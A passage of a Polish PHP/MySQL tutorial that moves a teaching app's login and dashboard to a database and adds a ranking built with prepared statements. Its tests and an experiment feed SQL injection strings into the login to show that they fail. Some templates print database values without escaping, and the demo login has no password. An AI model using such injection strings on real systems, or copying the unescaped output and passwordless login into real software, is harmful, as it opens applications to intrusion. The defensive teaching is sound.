<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujDaneLogowania(string $login): array
{
    $bledy = &#91;];

    if (!walidujLogin($login)) {
        $bledy&#91;] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    return $bledy;
}
</code></pre>



<p class="wp-block-paragraph">Funkcja nadal zwraca <strong>tablicę</strong> komunikatów (reguła z Lekcji 13). W Lekcji 19 dostanie drugi parametr — hasło.</p>



<h3 class="wp-block-heading">6d. <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></h3>



<p class="wp-block-paragraph">Zmiany w części PHP (na górze pliku):</p>



<ol class="wp-block-list">
<li>Do <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> (na początku listy) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> (na końcu).</li>



<li>Usuń zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code> (wartość początkowa i odczyt z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>).</li>



<li>Dodaj wartość początkową <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy = null;</code> obok <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy = [];</code>.</li>



<li>Blok obsługi POST zastąp:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST&#91;'login'] ?? '');
    $bledy = walidujDaneLogowania($login);

    if ($bledy === &#91;]) {
        try {
            $polaczenie = polaczZBaza();
            $uzytkownikId = znajdzIdUzytkownika($polaczenie, $login);

            if ($uzytkownikId === null) {
                $bledy&#91;] = 'Nie ma użytkownika o takim loginie.';
            } else {
                session_regenerate_id(true);
                $_SESSION&#91;'uzytkownik_id'] = $uzytkownikId;
                ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek-&gt;getMessage();
        }
    }
}
</code></pre>



<p class="wp-block-paragraph">Zmiany w części HTML:</p>



<ol class="wp-block-list">
<li>Zdanie pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Logowanie&lt;/h2&gt;</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.</code></li>



<li>Usuń z formularza <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;label&gt;</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;input&gt;</code> pola <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code>.</li>



<li>Pod ramką „Popraw formularz:” dodaj ramkę awarii (ten sam wzór co <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZapisu</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>):</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php if ($bladBazy !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się zalogować: &lt;?= $bladBazy; ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;
</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę na podział:</p>



<ul class="wp-block-list">
<li>„nie ma takiego loginu” to <strong>błąd użytkownika</strong> → trafia do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy</code> (tablica, pokazana w ramce „Popraw formularz”),</li>



<li>„baza nie odpowiada” to <strong>awaria</strong> → wyjątek → <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code>.</li>
</ul>



<p class="wp-block-paragraph">To ta sama reguła co od Lekcji 13: błąd użytkownika to nie wyjątek.</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> nie dołącza klas — <code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> zwraca liczbę, nie obiekt. Funkcje z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code>, które tworzą obiekty, nie są tu wywoływane, więc brak klas nie przeszkadza.</p>



<h2 class="wp-block-heading">Krok 7 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> czyta z bazy</h2>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Od tej chwili Twoja sesja z logowania „po staremu” nie wystarcza. Po zmianach <strong>wyloguj się i zaloguj ponownie</strong>.</p>
</blockquote>



<h3 class="wp-block-heading">7a. Dołączane pliki</h3>



<p class="wp-block-paragraph">Zamień <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/funkcje_plikow.php';</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/funkcje_bazy.php';</code>. Strona główna nie czyta już CSV.</p>



<h3 class="wp-block-heading">7b. Dane z bazy zamiast symulacji</h3>



<p class="wp-block-paragraph">Pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania();</code> masz dziś dwa bloki: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik = new Uzytkownik(...)</code> z symulowanymi wartościami oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania(PLIK_ZADAN)</code>. <strong>Usuń oba</strong> i wstaw w ich miejsce:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- dane z bazy: zalogowany użytkownik i jego zadania ---
$uzytkownik = null;
$zadania = &#91;];
$bladBazy = null;

try {
    $polaczenie = polaczZBaza();
    $uzytkownik = wczytajUzytkownika($polaczenie, $_SESSION&#91;'uzytkownik_id']);

    if ($uzytkownik !== null) {
        $zadania = wczytajZadaniaUzytkownika($polaczenie, $uzytkownik-&gt;pobierzId());
    }
} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek-&gt;getMessage();
}

// --- awaria bazy: bez danych gracza nie ma czego pokazać ---
if ($bladBazy !== null) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo "&lt;p class=\"blad\"&gt;Nie udało się wczytać danych: $bladBazy&lt;/p&gt;";
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

// --- konto usunięte z bazy, a sesja jeszcze istnieje ---
if ($uzytkownik === null) {
    unset($_SESSION&#91;'uzytkownik_id']);
    header('Location: zaloguj.php');
    exit;
}
</code></pre>



<p class="wp-block-paragraph">Dlaczego tak:</p>



<ul class="wp-block-list">
<li><strong>Jeden <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> na całą bazę.</strong> Użytkownik i zadania pochodzą z tego samego połączenia. Jeśli baza nie działa, nie mamy ani jednego, ani drugiego.</li>



<li><strong>Przy awarii strona kończy się wcześnie.</strong> Do Lekcji 17 awaria dotyczyła tylko pliku z zadaniami, więc reszta panelu (XP, poziom, streak) mogła się wyświetlić. Teraz dane gracza też są w bazie — bez nich nie ma czego pokazać. Zamiast owijać cały szablon w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code>, wyświetlamy nagłówek, ramkę błędu, stopkę i kończymy skrypt (<code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>).</li>



<li><strong>Sesja wskazuje na nieistniejące konto</strong> (np. ktoś usunął użytkownika w phpMyAdmin): usuwamy <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> z sesji i odsyłamy do logowania (Test 7).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code> czytamy bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> — wyżej jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>, a wartość zapisał nasz kod (konwencja z Lekcji 14).</li>
</ul>



<p class="wp-block-paragraph">Wszystko poniżej (listy zadań, liczniki, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code>, metody grywalizacji, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;aktualizujStreak($zadanieWykonane)</code>, filtr widoku, komunikat) zostaje <strong>bez zmian</strong> — dostaje obiekty tego samego typu co wcześniej.</p>



<h3 class="wp-block-heading">7c. Prezentacja</h3>



<ol class="wp-block-list">
<li>Sekcja „Twoje zadania” była od Lekcji 12 owinięta w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php if ($bladZadan !== null) { ?&gt; ... &lt;?php } else { ?&gt; ... &lt;?php } ?&gt;</code>. Zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZadan</code> już nie ma — awarię obsługuje blok z 7b. <strong>Usuń</strong> gałąź <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> z ramką błędu i same znaczniki <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code>, zostaw zawartość gałęzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code>.</li>



<li><strong>Usuń</strong> link <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;&lt;a href="dodaj-zadanie.php"&gt;+ Dodaj zadanie&lt;/a&gt;&lt;/p&gt;</code>. Formularz zapisuje jeszcze do CSV, więc dodane zadanie i tak nie pojawiłoby się na liście. Link wróci w Lekcji 19.</li>
</ol>



<p class="wp-block-paragraph">Reszta prezentacji bez zmian — „Witaj, &#8230;!”, „Zalogowano jako &#8230;”, XP i streak od Lekcji 15 pochodzą z metod <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code>, więc same pokażą dane z bazy.</p>



<h3 class="wp-block-heading">7d. Sprawdzenie</h3>



<p class="wp-block-paragraph">Wyloguj się, zaloguj jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>. Strona powinna wyglądać tak jak przed lekcją (bez linku „+ Dodaj zadanie”). Potem zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>: 250 XP, poziom 3, jedno zadanie.</p>



<h2 class="wp-block-heading">Krok 8 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> i stopka</h2>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_bazy.php'</code> (razem <strong>19</strong> ścieżek). Nic więcej — diagnostyka nadal <strong>nie łączy się z bazą</strong> (zasada z Lekcji 10 i 17: ma działać nawet przy zepsutym projekcie i bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">TaskQuest 1.8</code>.</li>
</ol>



<h1 class="wp-block-heading">6. Kolejne zadanie — ranking najlepszych graczy</h1>



<p class="wp-block-paragraph">Od pierwszych lekcji TaskQuest ma XP i poziomy, ale gracz nie wie, jak wypada na tle innych. Teraz, gdy w bazie jest wielu użytkowników, możemy to pokazać.</p>



<p class="wp-block-paragraph">Pod listą zadań w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> ma się pojawić:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Najlepsi gracze
1. Ola_TQ — 250 XP (poziom 3)
2. Kama_2026 — 99 XP (poziom 1)
</code></pre>



<p class="wp-block-paragraph">Wymagania:</p>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_bazy.php</code> funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzRanking(mysqli $polaczenie, int $limit): array</code>, która zwraca tablicę wierszy z kluczami <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> — najwyżej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$limit</code> graczy, od największego XP. Przy równym XP — alfabetycznie po loginie (żeby kolejność była zawsze ta sama).</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">$limit</code> przekazujemy <strong>parametrem</strong> zapytania (<code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT ?</code>), nie sklejamy.</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> ranking dla 3 graczy wczytujemy w tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> co użytkownika i zadania (zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$ranking</code>, wartość początkowa <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code>).</li>



<li>Poziom w rankingu liczy <strong>istniejąca</strong> funkcja — nie dodajemy kolumny <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code> do zapytania (Lekcja 17, 3.5: poziomu nie ma w bazie).</li>



<li>Sekcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Najlepsi gracze&lt;/h2&gt;</code> z listą numerowaną <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;ol&gt;</code>, na samym końcu panelu, po liście zadań.</li>
</ol>



<p class="wp-block-paragraph">Tu <strong>nie</strong> zwracamy obiektów <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>: ranking potrzebuje dwóch kolumn, a obiekt wymagałby wszystkich sześciu. Wynik zapytania, który służy tylko do wyświetlenia, może zostać tablicą.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">ORDER BY</code> może mieć kilka kolumn rozdzielonych przecinkiem — druga decyduje, gdy pierwsza ma równe wartości. Liczbę w <code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT ?</code> podpinasz tak samo jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<p class="wp-block-paragraph">Zamiast pętli <code class="prettyprint lang-sql" style="font-size: 0.85em;">while</code> możesz pobrać wszystkie wiersze naraz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">return $wynik-&gt;fetch_all(MYSQLI_ASSOC);</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_all(MYSQLI_ASSOC)</code> zwraca tablicę wszystkich wierszy (każdy jako tablica asocjacyjna); dla pustego wyniku <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code>. Tam, gdzie z wiersza budujemy obiekt, zostajemy przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">while</code> — tu wiersze wystarczą.</p>
</details>



<h2 class="wp-block-heading">ROZWIĄZANIE</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function pobierzRanking(mysqli $polaczenie, int $limit): array
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT login, xp FROM uzytkownicy ORDER BY xp DESC, login LIMIT ?');
    $zapytanie-&gt;bind_param('i', $limit);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;get_result()-&gt;fetch_all(MYSQLI_ASSOC);
}
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — w bloku „dane z bazy” dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">$ranking = [];</code> pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania = [];</code>, a w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($uzytkownik !== null)</code>, pod wczytaniem zadań:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        $ranking = pobierzRanking($polaczenie, 3);
</code></pre>



<p class="wp-block-paragraph">Na końcu treści panelu (po liście zadań, przed dołączeniem stopki):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Najlepsi gracze&lt;/h2&gt;
&lt;ol&gt;
    &lt;?php foreach ($ranking as $gracz) { ?&gt;
        &lt;li&gt;&lt;?= $gracz&#91;'login']; ?&gt; — &lt;?= $gracz&#91;'xp']; ?&gt; XP (poziom &lt;?= obliczPoziom($gracz&#91;'xp']); ?&gt;)&lt;/li&gt;
    &lt;?php } ?&gt;
&lt;/ol&gt;
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">obliczPoziom()</code> przyjmuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code> — i dostaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>, bo wynik pochodzi z prepared statementu (3.5).</p>



<h1 class="wp-block-heading">7. Testy</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> przeglądarka (<code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/...</code>) i phpMyAdmin (baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → zakładka SQL albo edycja wiersza). Przed każdym testem zapisz przewidywany wynik. Po testach, które zmieniają dane, uruchom ponownie cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 1 — regresja: Kama widzi to samo co przed lekcją</h2>



<p class="wp-block-paragraph">Zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>. Porównaj z <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja17/index.php</code> uruchomionym <strong>tego samego dnia</strong> (tam zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> z imieniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama</code>).</p>



<p class="wp-block-paragraph">Oczekiwane: te same zadania, liczniki, XP 99, poziom 1, ten sam streak i te same komunikaty terminów. Różnice: stopka <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.8</code>, brak linku „+ Dodaj zadanie”, nowa sekcja „Najlepsi gracze”. Jeśli w Lekcji 17 (Test 8) dodałaś/dodałeś zadanie przez formularz, jest ono w CSV, ale nie w bazie — w wersji 1.8 go nie zobaczysz. To zgodne z oczekiwaniami.</p>



<h2 class="wp-block-heading">Test 2 — Ola widzi swoje dane</h2>



<p class="wp-block-paragraph">Wyloguj się, zaloguj jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code>.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co sprawdzasz</th><th>Oczekiwane</th></tr></thead><tbody><tr><td>powitanie</td><td>„Witaj, Ola!” (imię z bazy — w formularzu już go nie podajesz)</td></tr><tr><td>XP / poziom</td><td>250 XP, poziom 3, do poziomu 4 brakuje 50 XP</td></tr><tr><td>streak</td><td>0 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">data_ostatniej_aktywnosci</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> → metoda nie zmienia streaka)</td></tr><tr><td>zadania</td><td>dokładnie jedno: „Zaprojektować bazę TaskQuest”, niewykonane</td></tr><tr><td>ranking</td><td>Ola na 1. miejscu, Kama na 2.</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 3 — logowanie: przypadki</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Login w formularzu</th><th>Oczekiwane</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code></td><td>zalogowano, strona główna, komunikat „Zalogowano. Powodzenia w zadaniach!”</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">kama_2026</code></td><td>zalogowano jako <strong>Kama</strong> — „Zalogowano jako <strong>Kama_2026</strong>” (pisownia z bazy)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_1</code></td><td>formularz z błędem „Nie ma użytkownika o takim loginie.”, pole wypełnione <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nowy_1</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Ka</code></td><td>„Login musi mieć 3–20 znaków&#8230;” — do bazy w ogóle nie trafia zapytanie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code></td><td>ten sam komunikat o formacie loginu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code> odrzuca apostrof i spację)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Przewidź: czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code> zalogowałby kogoś, gdyby usunąć walidację, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">znajdzIdUzytkownika()</code> zostawić z prepared statementem? (Odpowiedź: nie — patrz 3.5. Sprawdzisz to w Eksperymencie 1.)</p>



<h2 class="wp-block-heading">Test 4 — dane żyją w bazie, nie w kodzie</h2>



<p class="wp-block-paragraph">Zalogowana/zalogowany jako Kama, w phpMyAdmin kliknij tabelę <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code> → przy Kamie <strong>Edytuj</strong> → zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">150</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kamila</code> → <strong>Wykonaj</strong>. Odśwież TaskQuest <strong>bez ponownego logowania</strong>.</p>



<p class="wp-block-paragraph">Oczekiwane: „Witaj, Kamila!”, 150 XP, poziom 2, a w rankingu Kama nadal za Olą. Zmiana imienia jest widoczna od razu, bo w sesji jest tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> (6b). Zmień w phpMyAdmin tytuł jednego zadania Kamy i odśwież — nowy tytuł na liście. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 5 — każdy widzi tylko swoje zadania</h2>



<p class="wp-block-paragraph">Zalogowana/zalogowany jako Ola, spróbuj wszystkich trzech widoków (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?filtr=wszystkie</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktywne</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>). W żadnym nie ma zadań Kamy. Widok „wykonane” pokazuje „Brak zadań w tym widoku.”</p>



<h2 class="wp-block-heading">Test 6 — baza nie działa</h2>



<ol class="wp-block-list">
<li>Zalogowana/zalogowany jako Kama, zatrzymaj w XAMPP moduł <strong>MySQL</strong> i odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.<br />Oczekiwane: nagłówek, ramka „Nie udało się wczytać danych: Nie udało się połączyć z bazą danych.”, stopka. Żadnych danych gracza. (Jeśli nad ramką widzisz dodatkowo <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning</code>, to ustawienia wyświetlania komunikatów PHP — wrócimy do tego w Lekcji 23.)</li>



<li>Wyloguj się i spróbuj zalogować. Oczekiwane: formularz z ramką „Nie udało się zalogować: Nie udało się połączyć z bazą danych.”</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> — <strong>działa normalnie</strong> (19 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>), bo nie łączy się z bazą. Czy to dobrze, czy źle? Zapisz swoją odpowiedź — wrócisz do niej w pytaniach kontrolnych.</li>



<li>Uruchom MySQL ponownie.</li>
</ol>



<h2 class="wp-block-heading">Test 7 — konto usunięte w trakcie sesji</h2>



<p class="wp-block-paragraph">Zaloguj się jako Ola. W phpMyAdmin: <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE FROM uzytkownicy WHERE login = 'Ola_TQ';</code>. Odśwież TaskQuest.</p>



<p class="wp-block-paragraph">Oczekiwane: przekierowanie na stronę logowania (bez błędu PHP). Próba zalogowania jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code> → „Nie ma użytkownika o takim loginie.” Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 8 — ranking i <code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT</code></h2>



<p class="wp-block-paragraph">W phpMyAdmin:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie, xp) VALUES ('Kuba_TQ', 'Kuba', 180), ('Zosia_TQ', 'Zosia', 180);
</code></pre>



<p class="wp-block-paragraph">Przewidź kolejność w rankingu, potem odśwież TaskQuest. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_TQ</code> (250), <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kuba_TQ</code> (180), <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zosia_TQ</code> (180) — <strong>tylko trzy</strong>, Kama (99) nie mieści się w <code class="prettyprint lang-sql" style="font-size: 0.85em;">LIMIT</code>. Kuba przed Zosią, bo przy równym XP decyduje login. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 9 — diagnostyka</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> → <strong>19 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong> (w tym <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code>), sekcja „Baza danych” bez zmian.</p>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> eksperymenty 1–2 w brudnopisie, 3–4 w projekcie. Po każdym <strong>przywróć</strong> zmieniony kod.</p>



<h3 class="wp-block-heading">Eksperyment 1: prepared statement bez walidacji</h3>



<p class="wp-block-paragraph">W brudnopisie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

$polaczenie = polaczZBaza();
var_dump(znajdzIdUzytkownika($polaczenie, "' OR '1'='1"));
var_dump(znajdzIdUzytkownika($polaczenie, "Kama_2026' -- "));
</code></pre>



<p class="wp-block-paragraph">Przewidź oba wyniki. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code>. Drugi ciąg to klasyczna próba „ucięcia” reszty zapytania komentarzem SQL (<code class="prettyprint lang-sql" style="font-size: 0.85em;">-- </code>). Przy sklejaniu dałaby zalogowanie jako Kama; w prepared statemencie to zwykły, nieistniejący login. Wniosek: walidacja w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> jest wygodą i porządkiem, ale <strong>bezpieczeństwo zapytania zapewnia prepared statement</strong>.</p>



<h3 class="wp-block-heading">Eksperyment 2: te same dane, dwa typy</h3>



<p class="wp-block-paragraph">W brudnopisie porównaj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wynik = $polaczenie-&gt;query('SELECT id FROM uzytkownicy WHERE login = \'Kama_2026\'');
$wierszZQuery = $wynik-&gt;fetch_assoc();

$login = 'Kama_2026';
$zapytanie = $polaczenie-&gt;prepare('SELECT id FROM uzytkownicy WHERE login = ?');
$zapytanie-&gt;bind_param('s', $login);
$zapytanie-&gt;execute();
$wierszZPrepare = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

var_dump($wierszZQuery&#91;'id'], $wierszZPrepare&#91;'id']);
var_dump($wierszZQuery&#91;'id'] === 1, $wierszZPrepare&#91;'id'] === 1);
</code></pre>



